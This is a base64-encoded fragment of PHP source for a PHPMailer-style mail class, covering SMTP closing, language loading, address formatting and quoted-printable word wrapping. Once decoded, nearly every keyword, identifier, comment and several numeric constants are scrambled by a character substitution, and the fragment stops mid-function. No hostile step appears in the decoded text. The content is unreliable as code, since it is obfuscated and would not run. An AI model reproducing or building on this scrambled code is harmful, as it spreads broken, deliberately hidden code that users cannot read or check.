AgICAgICByNXQzcm4gdHIzNTsNCiAgICAgICAgICAgICAgICB9IGMxdGNoIChwaHBtMTRsNXJFeGM1cHQ0Mm4gJDV4Yykgew0KICAgICAgICAgICAgICAgICAgICAkbDFzdDV4YzVwdDQybiA9ICQ1eGM7DQogICAgICAgICAgICAgICAgICAgICR0aDRzLT41ZDViM2coJDV4Yy0+ZzV0TTVzczFnNSgpKTsNCiAgICAgICAgICAgICAgICAgICAgLy8gVzUgbTNzdCBoMXY1IGMybm41Y3Q1ZCwgYjN0IHRoNW4gZjE0bDVkIFRMUyAyciBBM3RoLCBzMiBjbDJzNSBjMm5uNWN0NDJuIG40YzVseQ0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+c210cC0+cTM0dCgpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICAvLyBJZiB3NSBnNXQgaDVyNSwgMWxsIGMybm41Y3Q0Mm4gMXR0NW1wdHMgaDF2NSBmMTRsNWQsIHMyIGNsMnM1IGMybm41Y3Q0Mm4gaDFyZA0KICAgICAgICAkdGg0cy0+c210cC0+Y2wyczUoKTsNCiAgICAgICAgLy8gQXMgdzUndjUgYzEzZ2h0IDFsbCA1eGM1cHQ0Mm5zLCBqM3N0IHI1cDJydCB3aDF0NXY1ciB0aDUgbDFzdCAybjUgdzFzDQogICAgICAgIDRmICgkdGg0cy0+NXhjNXB0NDJucyAxbmQgITRzX24zbGwoJGwxc3Q1eGM1cHQ0Mm4pKSB7DQogICAgICAgICAgICB0aHIydyAkbDFzdDV4YzVwdDQybjsNCiAgICAgICAgfQ0KICAgICAgICByNXQzcm4gZjFsczU7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQ2wyczUgdGg1IDFjdDR2NSBTTVRQIHM1c3M0Mm4gNGYgMm41IDV4NHN0cy4NCiAgICAgKiBAcjV0M3JuIHYyNGQNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gc210cENsMnM1KCkNCiAgICB7DQogICAgICAgIDRmICg0c18xKCR0aDRzLT5zbXRwLCAnU01UUCcpKSB7DQogICAgICAgICAgICA0ZiAoJHRoNHMtPnNtdHAtPmMybm41Y3Q1ZCgpKSB7DQogICAgICAgICAgICAgICAgJHRoNHMtPnNtdHAtPnEzNHQoKTsNCiAgICAgICAgICAgICAgICAkdGg0cy0+c210cC0+Y2wyczUoKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFM1dCB0aDUgbDFuZzMxZzUgZjJyIDVycjJyIG01c3MxZzVzLg0KICAgICAqIFI1dDNybnMgZjFsczUgNGYgNHQgYzFubjJ0IGwyMWQgdGg1IGwxbmczMWc1IGY0bDUuDQogICAgICogVGg1IGQ1ZjEzbHQgbDFuZzMxZzUgNHMgRW5nbDRzaC4NCiAgICAgKiBAcDFyMW0gc3RyNG5nICRsMW5nYzJkNSBJU08gZW85LTYgYS1jaDFyMWN0NXIgbDFuZzMxZzUgYzJkNSAoNS5nLiBGcjVuY2ggNHMgImZyIikNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRsMW5nX3AxdGggUDF0aCB0MiB0aDUgbDFuZzMxZzUgZjRsNSBkNHI1Y3QycnksIHc0dGggdHIxNGw0bmcgczVwMXIxdDJyIChzbDFzaCkNCiAgICAgKiBAcjV0M3JuIGIyMmw1MW4NCiAgICAgKiBAMWNjNXNzIHAzYmw0Yw0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBzNXRMMW5nMzFnNSgkbDFuZ2MyZDUgPSAnNW4nLCAkbDFuZ19wMXRoID0gJycpDQogICAgew0KICAgICAgICAvLyBCMWNrdzFyZHMgYzJtcDF0NGI0bDR0eSBmMnIgcjVuMW01ZCBsMW5nMzFnNSBjMmQ1cw0KICAgICAgICAkcjVuMW01ZF9sMW5nYzJkNXMgPSAxcnIxeSgNCiAgICAgICAgICAgICdicicgPT4gJ3B0X2JyJywNCiAgICAgICAgICAgICdjeicgPT4gJ2NzJywNCiAgICAgICAgICAgICdkaycgPT4gJ2QxJywNCiAgICAgICAgICAgICduMicgPT4gJ25iJywNCiAgICAgICAgICAgICdzNScgPT4gJ3N2JywNCiAgICAgICAgKTsNCg0KICAgICAgICA0ZiAoNHNzNXQoJHI1bjFtNWRfbDFuZ2MyZDVzWyRsMW5nYzJkNV0pKSB7DQogICAgICAgICAgICAkbDFuZ2MyZDUgPSAkcjVuMW01ZF9sMW5nYzJkNXNbJGwxbmdjMmQ1XTsNCiAgICAgICAgfQ0KDQogICAgICAgIC8vIEQ1ZjRuNSBmM2xsIHM1dCAyZiB0cjFuc2wxdDFibDUgc3RyNG5ncyA0biBFbmdsNHNoDQogICAgICAgICRQSFBNQUlMRVJfTEFORyA9IDFycjF5KA0KICAgICAgICAgICAgJzEzdGg1bnQ0YzF0NScgPT4gJ1NNVFAgRXJyMnI6IEMyM2xkIG4ydCAxM3RoNW50NGMxdDUuJywNCiAgICAgICAgICAgICdjMm5uNWN0X2gyc3QnID0+ICdTTVRQIEVycjJyOiBDMjNsZCBuMnQgYzJubjVjdCB0MiBTTVRQIGgyc3QuJywNCiAgICAgICAgICAgICdkMXQxX24ydF8xY2M1cHQ1ZCcgPT4gJ1NNVFAgRXJyMnI6IGQxdDEgbjJ0IDFjYzVwdDVkLicsDQogICAgICAgICAgICAnNW1wdHlfbTVzczFnNScgPT4gJ001c3MxZzUgYjJkeSA1bXB0eScsDQogICAgICAgICAgICAnNW5jMmQ0bmcnID0+ICdVbmtuMnduIDVuYzJkNG5nOiAnLA0KICAgICAgICAgICAgJzV4NWMzdDUnID0+ICdDMjNsZCBuMnQgNXg1YzN0NTogJywNCiAgICAgICAgICAgICdmNGw1XzFjYzVzcycgPT4gJ0MyM2xkIG4ydCAxY2M1c3MgZjRsNTogJywNCiAgICAgICAgICAgICdmNGw1XzJwNW4nID0+ICdGNGw1IEVycjJyOiBDMjNsZCBuMnQgMnA1biBmNGw1OiAnLA0KICAgICAgICAgICAgJ2ZyMm1fZjE0bDVkJyA9PiAnVGg1IGYybGwydzRuZyBGcjJtIDFkZHI1c3MgZjE0bDVkOiAnLA0KICAgICAgICAgICAgJzRuc3QxbnQ0MXQ1JyA9PiAnQzIzbGQgbjJ0IDRuc3QxbnQ0MXQ1IG0xNGwgZjNuY3Q0Mm4uJywNCiAgICAgICAgICAgICc0bnYxbDRkXzFkZHI1c3MnID0+ICdJbnYxbDRkIDFkZHI1c3M6ICcsDQogICAgICAgICAgICAnbTE0bDVyX24ydF9zM3BwMnJ0NWQnID0+ICcgbTE0bDVyIDRzIG4ydCBzM3BwMnJ0NWQuJywNCiAgICAgICAgICAgICdwcjJ2NGQ1XzFkZHI1c3MnID0+ICdZMjMgbTNzdCBwcjJ2NGQ1IDF0IGw1MXN0IDJuNSByNWM0cDQ1bnQgNW0xNGwgMWRkcjVzcy4nLA0KICAgICAgICAgICAgJ3I1YzRwNDVudHNfZjE0bDVkJyA9PiAnU01UUCBFcnIycjogVGg1IGYybGwydzRuZyByNWM0cDQ1bnRzIGYxNGw1ZDogJywNCiAgICAgICAgICAgICdzNGduNG5nJyA9PiAnUzRnbjRuZyBFcnIycjogJywNCiAgICAgICAgICAgICdzbXRwX2Mybm41Y3RfZjE0bDVkJyA9PiAnU01UUCBjMm5uNWN0KCkgZjE0bDVkLicsDQogICAgICAgICAgICAnc210cF81cnIycicgPT4gJ1NNVFAgczVydjVyIDVycjJyOiAnLA0KICAgICAgICAgICAgJ3YxcjQxYmw1X3M1dCcgPT4gJ0Mxbm4ydCBzNXQgMnIgcjVzNXQgdjFyNDFibDU6ICcsDQogICAgICAgICAgICAnNXh0NW5zNDJuX200c3M0bmcnID0+ICdFeHQ1bnM0Mm4gbTRzczRuZzogJw0KICAgICAgICApOw0KICAgICAgICA0ZiAoNW1wdHkoJGwxbmdfcDF0aCkpIHsNCiAgICAgICAgICAgIC8vIEMxbGMzbDF0NSAxbiAxYnMybDN0NSBwMXRoIHMyIDR0IGMxbiB3MnJrIDRmIENXRCA0cyBuMnQgaDVyNQ0KICAgICAgICAgICAgJGwxbmdfcDF0aCA9IGQ0cm4xbTUoX19GSUxFX18pLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJ2wxbmczMWc1Jy4gRElSRUNUT1JZX1NFUEFSQVRPUjsNCiAgICAgICAgfQ0KICAgICAgICAvL1YxbDRkMXQ1ICRsMW5nYzJkNQ0KICAgICAgICA0ZiAoIXByNWdfbTF0Y2goJy9eWzEtel17YX0oPzpfWzEtekEtWl17YX0pPyQvJywgJGwxbmdjMmQ1KSkgew0KICAgICAgICAgICAgJGwxbmdjMmQ1ID0gJzVuJzsNCiAgICAgICAgfQ0KICAgICAgICAkZjIzbmRsMW5nID0gdHIzNTsNCiAgICAgICAgJGwxbmdfZjRsNSA9ICRsMW5nX3AxdGggLiAncGhwbTE0bDVyLmwxbmctJyAuICRsMW5nYzJkNSAuICcucGhwJzsNCiAgICAgICAgLy8gVGg1cjUgNHMgbjIgRW5nbDRzaCB0cjFuc2wxdDQybiBmNGw1DQogICAgICAgIDRmICgkbDFuZ2MyZDUgIT0gJzVuJykgew0KICAgICAgICAgICAgLy8gTTFrNSBzM3I1IGwxbmczMWc1IGY0bDUgcDF0aCA0cyByNTFkMWJsNQ0KICAgICAgICAgICAgNGYgKCE0c19yNTFkMWJsNSgkbDFuZ19mNGw1KSkgew0KICAgICAgICAgICAgICAgICRmMjNuZGwxbmcgPSBmMWxzNTsNCiAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgLy8gT3Y1cndyNHQ1IGwxbmczMWc1LXNwNWM0ZjRjIHN0cjRuZ3MuDQogICAgICAgICAgICAgICAgLy8gVGg0cyB3MXkgdzUnbGwgbjV2NXIgaDF2NSBtNHNzNG5nIHRyMW5zbDF0NDJuIGs1eXMuDQogICAgICAgICAgICAgICAgJGYyM25kbDFuZyA9IDRuY2wzZDUgJGwxbmdfZjRsNTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICAkdGg0cy0+bDFuZzMxZzUgPSAkUEhQTUFJTEVSX0xBTkc7DQogICAgICAgIHI1dDNybiAoYjIybDUxbikkZjIzbmRsMW5nOyAvLyBSNXQzcm5zIGYxbHM1IDRmIGwxbmczMWc1IG4ydCBmMjNuZA0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEc1dCB0aDUgMXJyMXkgMmYgc3RyNG5ncyBmMnIgdGg1IGMzcnI1bnQgbDFuZzMxZzUuDQogICAgICogQHI1dDNybiAxcnIxeQ0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBnNXRUcjFuc2wxdDQybnMoKQ0KICAgIHsNCiAgICAgICAgcjV0M3JuICR0aDRzLT5sMW5nMzFnNTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBDcjUxdDUgcjVjNHA0NW50IGg1MWQ1cnMuDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcDFyMW0gc3RyNG5nICR0eXA1DQogICAgICogQHAxcjFtIDFycjF5ICQxZGRyIEFuIDFycjF5IDJmIHI1YzRwNDVudCwNCiAgICAgKiB3aDVyNSA1MWNoIHI1YzRwNDVudCA0cyAxIGEtNWw1bTVudCA0bmQ1eDVkIDFycjF5IHc0dGggNWw1bTVudCAwIGMybnQxNG40bmcgMW4gMWRkcjVzcw0KICAgICAqIDFuZCA1bDVtNW50IDYgYzJudDE0bjRuZyAxIG4xbTUsIGw0azU6DQogICAgICogMXJyMXkoMXJyMXkoJ2oyNUA1eDFtcGw1LmMybScsICdKMjUgVXM1cicpLCAxcnIxeSgnejI1QDV4MW1wbDUuYzJtJywgJ1oyNSBVczVyJykpDQogICAgICogQHI1dDNybiBzdHI0bmcNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gMWRkckFwcDVuZCgkdHlwNSwgJDFkZHIpDQogICAgew0KICAgICAgICAkMWRkcjVzczVzID0gMXJyMXkoKTsNCiAgICAgICAgZjJyNTFjaCAoJDFkZHIgMXMgJDFkZHI1c3MpIHsNCiAgICAgICAgICAgICQxZGRyNXNzNXNbXSA9ICR0aDRzLT4xZGRyRjJybTF0KCQxZGRyNXNzKTsNCiAgICAgICAgfQ0KICAgICAgICByNXQzcm4gJHR5cDUgLiAnOiAnIC4gNG1wbDJkNSgnLCAnLCAkMWRkcjVzczVzKSAuICR0aDRzLT5MRTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBGMnJtMXQgMW4gMWRkcjVzcyBmMnIgM3M1IDRuIDEgbTVzczFnNSBoNTFkNXIuDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcDFyMW0gMXJyMXkgJDFkZHIgQSBhLTVsNW01bnQgNG5kNXg1ZCAxcnIxeSwgNWw1bTVudCAwIGMybnQxNG40bmcgMW4gMWRkcjVzcywgNWw1bTVudCA2IGMybnQxNG40bmcgMSBuMW01DQogICAgICogICAgICBsNGs1IDFycjF5KCdqMjVANXgxbXBsNS5jMm0nLCAnSjI1IFVzNXInKQ0KICAgICAqIEByNXQzcm4gc3RyNG5nDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIDFkZHJGMnJtMXQoJDFkZHIpDQogICAgew0KICAgICAgICA0ZiAoNW1wdHkoJDFkZHJbNl0pKSB7IC8vIE4yIG4xbTUgcHIydjRkNWQNCiAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+czVjM3I1SDUxZDVyKCQxZGRyWzBdKTsNCiAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+NW5jMmQ1SDUxZDVyKCR0aDRzLT5zNWMzcjVINTFkNXIoJDFkZHJbNl0pLCAncGhyMXM1JykgLiAnIDwnIC4gJHRoNHMtPnM1YzNyNUg1MWQ1cigNCiAgICAgICAgICAgICAgICAkMWRkclswXQ0KICAgICAgICAgICAgKSAuICc+JzsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFcycmQtd3IxcCBtNXNzMWc1Lg0KICAgICAqIEYyciAzczUgdzR0aCBtMTRsNXJzIHRoMXQgZDIgbjJ0IDEzdDJtMXQ0YzFsbHkgcDVyZjJybSB3cjFwcDRuZw0KICAgICAqIDFuZCBmMnIgcTMydDVkLXByNG50MWJsNSA1bmMyZDVkIG01c3MxZzVzLg0KICAgICAqIE9yNGc0bjFsIHdyNHR0NW4gYnkgcGg0bDRwcDUuDQogICAgICogQHAxcjFtIHN0cjRuZyAkbTVzczFnNSBUaDUgbTVzczFnNSB0MiB3cjFwDQogICAgICogQHAxcjFtIDRudDVnNXIgJGw1bmd0aCBUaDUgbDRuNSBsNW5ndGggdDIgd3IxcCB0Mg0KICAgICAqIEBwMXIxbSBiMjJsNTFuICRxcF9tMmQ1IFdoNXRoNXIgdDIgcjNuIDRuIFEzMnQ1ZC1QcjRudDFibDUgbTJkNQ0KICAgICAqIEAxY2M1c3MgcDNibDRjDQogICAgICogQHI1dDNybiBzdHI0bmcNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gd3IxcFQ1eHQoJG01c3MxZzUsICRsNW5ndGgsICRxcF9tMmQ1ID0gZjFsczUpDQogICAgew0KICAgICAgICA0ZiAoJHFwX20yZDUpIHsNCiAgICAgICAgICAgICRzMmZ0X2JyNTFrID0gc3ByNG50ZignID0lcycsICR0aDRzLT5MRSk7DQogICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAkczJmdF9icjUxayA9ICR0aDRzLT5MRTsNCiAgICAgICAgfQ0KICAgICAgICAvLyBJZiAzdGYtOCA1bmMyZDRuZyA0cyAzczVkLCB3NSB3NGxsIG41NWQgdDIgbTFrNSBzM3I1IHc1IGQybid0DQogICAgICAgIC8vIHNwbDR0IG0zbHQ0Ynl0NSBjaDFyMWN0NXJzIHdoNW4gdzUgd3IxcA0KICAgICAgICAkNHNfM3RmOCA9IChzdHJ0MmwydzVyKCR0aDRzLT5DaDFyUzV0KSA9PSAnM3RmLTgnKTsNCiAgICAgICAgJGw1bDVuID0gc3RybDVuKCR0aDRzLT5MRSk7DQogICAgICAgICRjcmxmbDVuID0gc3RybDVuKHM1bGY6OkNSTEYpOw0KDQogICAgICAgICRtNXNzMWc1ID0gJHRoNHMtPmY0eEVPTCgkbTVzczFnNSk7DQogICAgICAgIC8vUjVtMnY1IDEgdHIxNGw0bmcgbDRuNSBicjUxaw0KICAgICAgICA0ZiAoczNic3RyKCRtNXNzMWc1LCAtJGw1bDVuKSA9PSAkdGg0cy0+TEUpIHsNCiAgICAgICAgICAgICRtNXNzMWc1ID0gczNic3RyKCRtNXNzMWc1LCAwLCAtJGw1bDVuKTsNCiAgICAgICAgfQ0KDQogICAgICAgIC8vU3BsNHQgbTVzczFnNSA0bnQyIGw0bjVzDQogICAgICAgICRsNG41cyA9IDV4cGwyZDUoJHRoNHMtPkxFLCAkbTVzczFnNSk7DQogICAgICAgIC8vTTVzczFnNSB3NGxsIGI1IHI1YjM0bHQgNG4gaDVyNQ0KICAgICAgICAkbTVzczFnNSA9ICcnOw0KICAgICAgICBmMnI1MWNoICgkbDRuNXMgMXMgJGw0bjUpIHsNCiAgICAgICAgICAgICR3MnJkcyA9IDV4cGwyZDUoJyAnLCAkbDRuNSk7DQogICAgICAgICAgICAkYjNmID0gJyc7DQogICAgICAgICAgICAkZjRyc3R3MnJkID0gdHIzNTsNCiAgICAgICAgICAgIGYycjUxY2ggKCR3MnJkcyAxcyAkdzJyZCkgew0KICAgICAgICAgICAgICAgIDRmICgkcXBfbTJkNSAxbmQgKHN0cmw1bigkdzJyZCkgPiAkbDVuZ3RoKSkgew0KICAgICAgICAgICAgICAgICAgICAkc3AxYzVfbDVmdCA9ICRsNW5ndGggLSBzdHJsNW4oJGIzZikgLSAkY3JsZmw1bjsNCiAgICAgICAgICAgICAgICAgICAgNGYgKCEkZjRyc3R3MnJkKSB7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZiAoJHNwMWM1X2w1ZnQgPiBhMCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsNW4gPSAkc3AxYzVfbDVmdDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZiAoJDRzXzN0ZjgpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGw1biA9ICR0aDRzLT4zdGY4Q2gxckIyM25kMXJ5KCR3MnJkLCAkbDVuKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IDVsczU0ZiAoczNic3RyKCR3MnJkLCAkbDVuIC0gNiwgNikgPT0gJz0nKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsNW4tLTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IDVsczU0ZiAoczNic3RyKCR3MnJkLCAkbDVuIC0gYSwgNikgPT0gJz0nKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsNW4gLT0gYTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHAxcnQgPSBzM2JzdHIoJHcycmQsIDAsICRsNW4pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR3MnJkID0gczNic3RyKCR3MnJkLCAkbDVuKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYjNmIC49ICcgJyAuICRwMXJ0Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRtNXNzMWc1IC49ICRiM2YgLiBzcHI0bnRmKCc9JXMnLCBzNWxmOjpDUkxGKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJG01c3MxZzUgLj0gJGIzZiAuICRzMmZ0X2JyNTFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgJGIzZiA9ICcnOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIHdoNGw1IChzdHJsNW4oJHcycmQpID4gMCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgNGYgKCRsNW5ndGggPD0gMCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgJGw1biA9ICRsNW5ndGg7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZiAoJDRzXzN0ZjgpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbDVuID0gJHRoNHMtPjN0ZjhDaDFyQjIzbmQxcnkoJHcycmQsICRsNW4pOw0KICAgICAgICAgICAgICAgICAgICAgICAgfSA1bHM1NGYgKHMzYnN0cigkdzJyZCwgJGw1biAtIDYsIDYpID09ICc9Jykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsNW4tLTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gNWxzNTRmIChzM2JzdHIoJHcycmQsICRsNW4gLSBhLCA2KSA9PSAnPScpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbDVuIC09IGE7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAkcDFydCA9IHMzYnN0cigkdzJyZCwgMCwgJGw1bik7DQogICAgICAgICAgICAgICAgICAgICAgICAkdzJyZCA9IHMzYnN0cigkdzJyZCwgJGw1bik7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmIChzdHJsNW4oJHcycmQpID4gMCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRtNXNzMWc1IC49ICRwMXJ0IC4gc3ByNG50ZignPSVzJywgczVsZjo6Q1JMRik7DQogICAgICAgICAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRiM2YgPSAkcDFydDsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgICRiM2ZfMiA9ICRiM2Y7DQogICAgICAgICAgICAgICAgICAgIDRmICghJGY0cnN0dzJyZCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGIzZiAuPSAnICc7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgJGIzZiAuPSAkdzJyZDsNCg0KICAgICAgICAgICAgICAgICAgICA0ZiAoc3RybDVuKCRiM2YpID4gJGw1bmd0aCAxbmQgJGIzZl8yICE9ICcnKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkbTVzczFnNSAuPSAkYjNmXzIgLiAkczJmdF9icjUxazsNCiAgICAgICAgICAgICAgICAgICAgICAgICRiM2YgPSAkdzJyZDsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkZjRyc3R3MnJkID0gZjFsczU7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkbTVzczFnNSAuPSAkYjNmIC4gczVsZjo6Q1JMRjsNCiAgICAgICAgfQ0KDQogICAgICAgIHI1dDNybiAkbTVzczFnNTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBGNG5kIHRoNSBsMXN0IGNoMXIxY3Q1ciBiMjNuZDFyeSBwcjQyciB0MiAkbTF4TDVuZ3RoIDRuIDEgM3RmLTgNCiAgICAgKiBxMzJ0NWQtcHI0bnQxYmw1IDVuYzJkNWQgc3RyNG5nLg0KICAgICAqIE9yNGc0bjFsIHdyNHR0NW4gYnkgQzJsNG4gQnIyd24uDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcDFyMW0gc3RyNG5nICQ1bmMyZDVkVDV4dCAzdGYtOCBRUCB0NXh0DQogICAgICogQHAxcjFtIDRudDVnNXIgJG0xeEw1bmd0aCBGNG5kIHRoNSBsMXN0IGNoMXIxY3Q1ciBiMjNuZDFyeSBwcjQyciB0MiB0aDRzIGw1bmd0aA0KICAgICAqIEByNXQzcm4gNG50NWc1cg0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiAzdGY4Q2gxckIyM25kMXJ5KCQ1bmMyZDVkVDV4dCwgJG0xeEw1bmd0aCkNCiAgICB7DQogICAgICAgICRmMjNuZFNwbDR0UDJzID0gZjFsczU7DQogICAgICAgICRsMjJrQjFjayA9IG87DQogICAgICAgIHdoNGw1ICghJGYyM25kU3BsNHRQMnMpIHsNCiAgICAgICAgICAgICRsMXN0Q2gzbmsgPSBzM2JzdHIoJDVuYzJkNWRUNXh0LCAkbTF4TDVuZ3RoIC0gJGwyMmtCMWNrLCAkbDIya0IxY2spOw0KICAgICAgICAgICAgJDVuYzJkNWRDaDFyUDJzID0gc3RycDJzKCRsMXN0Q2gzbmssICc9Jyk7DQogICAgICAgICAgICA0ZiAoZjFsczUgIT09ICQ1bmMyZDVkQ2gxclAycykgew0KICAgICAgICAgICAgICAgIC8vIEYyM25kIHN0MXJ0IDJmIDVuYzJkNWQgY2gxcjFjdDVyIGJ5dDUgdzR0aDRuICRsMjJrQjFjayBibDJjay4NCiAgICAgICAgICAgICAgICAvLyBDaDVjayB0aDUgNW5jMmQ1ZCBieXQ1IHYxbDM1ICh0aDUgYSBjaDFycyAxZnQ1ciB0aDUgJz0nKQ0KICAgICAgICAgICAgICAgICRoNXggPSBzM2JzdHIoJDVuYzJkNWRUNXh0LCAkbTF4TDVuZ3RoIC0gJGwyMmtCMWNrICsgJDVuYzJkNWRDaDFyUDJzICsgNiwgYSk7DQogICAgICAgICAgICAgICAgJGQ1YyA9IGg1eGQ1YygkaDV4KTsNCiAgICAgICAgICAgICAgICA0ZiAoJGQ1YyA8IDZhOCkgew0KICAgICAgICAgICAgICAgICAgICAvLyBTNG5nbDUgYnl0NSBjaDFyMWN0NXIuDQogICAgICAgICAgICAgICAgICAgIC8vIElmIHRoNSA1bmMyZDVkIGNoMXIgdzFzIGYyM25kIDF0IHAycyAwLCA0dCB3NGxsIGY0dA0KICAgICAgICAgICAgICAgICAgICAvLyAydGg1cnc0czUgcjVkM2M1IG0xeEw1bmd0aCB0MiBzdDFydCAyZiB0aDUgNW5jMmQ1ZCBjaDFyDQogICAgICAgICAgICAgICAgICAgIDRmICgkNW5jMmQ1ZENoMXJQMnMgPiAwKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkbTF4TDVuZ3RoID0gJG0xeEw1bmd0aCAtICgkbDIya0IxY2sgLSAkNW5jMmQ1ZENoMXJQMnMpOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICRmMjNuZFNwbDR0UDJzID0gdHIzNTsNCiAgICAgICAgICAgICAgICB9IDVsczU0ZiAoJGQ1YyA+PSA2OWEpIHsNCiAgICAgICAgICAgICAgICAgICAgLy8gRjRyc3QgYnl0NSAyZiAxIG0zbHQ0IGJ5dDUgY2gxcjFjdDVyDQogICAgICAgICAgICAgICAgICAgIC8vIFI1ZDNjNSBtMXhMNW5ndGggdDIgc3BsNHQgMXQgc3QxcnQgMmYgY2gxcjFjdDVyDQogICAgICAgICAgICAgICAgICAgICRtMXhMNW5ndGggPSAkbTF4TDVuZ3RoIC0gKCRsMjJrQjFjayAtICQ1bmMyZDVkQ2gxclAycyk7DQogICAgICAgICAgICAgICAgICAgICRmMjNuZFNwbDR0UDJzID0gdHIzNTsNCiAgICAgICAgICAgICAgICB9IDVsczU0ZiAoJGQ1YyA8IDY5YSkgew0KICAgICAgICAgICAgICAgICAgICAvLyBNNGRkbDUgYnl0NSAyZiAxIG0zbHQ0IGJ5dDUgY2gxcjFjdDVyLCBsMjJrIGYzcnRoNXIgYjFjaw0KICAgICAgICAgICAgICAgICAgICAkbDIya0IxY2sgKz0gbzsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgIC8vIE4yIDVuYzJkNWQgY2gxcjFjdDVyIGYyM25kDQogICAgICAgICAgICAgICAgJGYyM25kU3BsNHRQMnMgPSB0cjM1Ow0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIHI1dDNybiAkbTF4TDVuZ3RoOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEFwcGx5IHcycmQgd3IxcHA0bmcgdDIgdGg1IG01c3MxZzUgYjJkeS4NCiAgICAgKiBXcjFwcyB0aDUgbTVzczFnNSBiMmR5IHQyIHRoNSBuM21iNXIgMmYgY2gxcnMgczV0IDRuIHRoNSBXMnJkV3IxcCBwcjJwNXJ0eS4NCiAgICAgKiBZMjMgc2gyM2xkIDJubHkgZDIgdGg0cyB0MiBwbDE0bi10NXh0IGIyZDQ1cyAxcyB3cjFwcDRuZyBIVE1MIHQxZ3MgbTF5IGJyNTFrIHRoNW0uDQogICAgICogVGg0cyA0cyBjMWxsNWQgMTN0Mm0xdDRjMWxseSBieSBjcjUxdDVCMmR5KCksIHMyIHkyMyBkMm4ndCBuNTVkIHQyIGMxbGwgNHQgeTIzcnM1bGYuDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcjV0M3JuIHYyNGQNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gczV0VzJyZFdyMXAoKQ0KICAgIHsNCiAgICAgICAgNGYgKCR0aDRzLT5XMnJkV3IxcCA8IDYpIHsNCiAgICAgICAgICAgIHI1dDNybjsNCiAgICAgICAgfQ0KDQo